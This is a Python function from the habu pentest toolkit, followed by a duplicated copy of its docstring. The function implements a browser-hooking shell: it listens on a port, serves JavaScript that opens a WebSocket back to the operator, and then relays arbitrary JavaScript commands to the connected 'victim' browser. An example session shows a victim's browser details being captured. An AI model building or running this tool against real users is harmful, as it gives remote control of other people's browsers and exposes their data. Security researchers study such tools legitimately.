def cmd_jshell(ip, port, verbose):
    """Control a web browser through Websockets.

    Bind a port (default: 3333) and listen for HTTP connections.

    On connection, send a JavaScript code that opens a WebSocket that
    can be used to send commands to the connected browser.

    You can write the commands directly in the shell, or use plugins, that
    are simply external JavaScript files.

    Using habu.jshell you can completely control a web browser.

    Reference: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API

    Example:

    \b
    $ habu.jshell
    >> Listening on 192.168.0.10:3333. Waiting for a victim connection.
    >> HTTP Request received from 192.168.0.15. Sending hookjs
    >> Connection from 192.168.0.15
    $ _sessions
    0 * 192.168.0.15:33432 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
    $ _info
    {
        "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0",
        "location": "http://192.168.0.10:3333/",
        "java-enabled": false,
        "platform": "Linux x86_64",
        "app-code-name": "Mozilla",
        "app-name": "Netscape",
        "app-version": "5.0 (X11)",
        "cookie-enabled": true,
        "language": "es-AR",
        "online": true
    }
    $ document.location
    http://192.168.0.10:3333/
    """

    global hook_js
    hook_js = hook_js.format(ip=ip, port=port)

    print('>>> Listening on {}:{}. Waiting for a victim connection.'.format(ip, port))

    eventloop = asyncio.get_event_loop()
    eventloop.run_until_complete(websockets.serve(handler, ip, port, create_protocol=MyWebSocketServerProtocol))

    thread = threading.Thread(target=eventloop.run_forever)
    thread.start()

    completer = WordCompleter(completer_list + list(runner.internal_commands) + list(runner.external_commands))
    history = InMemoryHistory()

    while True:
        if not thread.is_alive():
            break

        cmd = prompt('$ ', patch_stdout=True, completer=completer, history=history, lexer=PygmentsLexer(JavascriptLexer))
        if cmd:
            if cmd == '_help':
                runner.cmd_help()
            elif runner.sessions:
                queue.put_nowait(cmd)
            else:
                print('>>> No active session!')
Control a web browser through Websockets.

    Bind a port (default: 3333) and listen for HTTP connections.

    On connection, send a JavaScript code that opens a WebSocket that
    can be used to send commands to the connected browser.

    You can write the commands directly in the shell, or use plugins, that
    are simply external JavaScript files.

    Using habu.jshell you can completely control a web browser.

    Reference: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API

    Example:

    \b
    $ habu.jshell
    >> Listening on 192.168.0.10:3333. Waiting for a victim connection.
    >> HTTP Request received from 192.168.0.15. Sending hookjs
    >> Connection from 192.168.0.15
    $ _sessions
    0 * 192.168.0.15:33432 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
    $ _info
    {
        "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0",
        "location": "http://192.168.0.10:3333/",
        "java-enabled": false,
        "platform": "Linux x86_64",
        "app-code-name": "Mozilla",
        "app-name": "Netscape",
        "app-version": "5.0 (X11)",
        "cookie-enabled": true,
        "language": "es-AR",
        "online": true
    }
    $ document.location
    http://192.168.0.10:3333/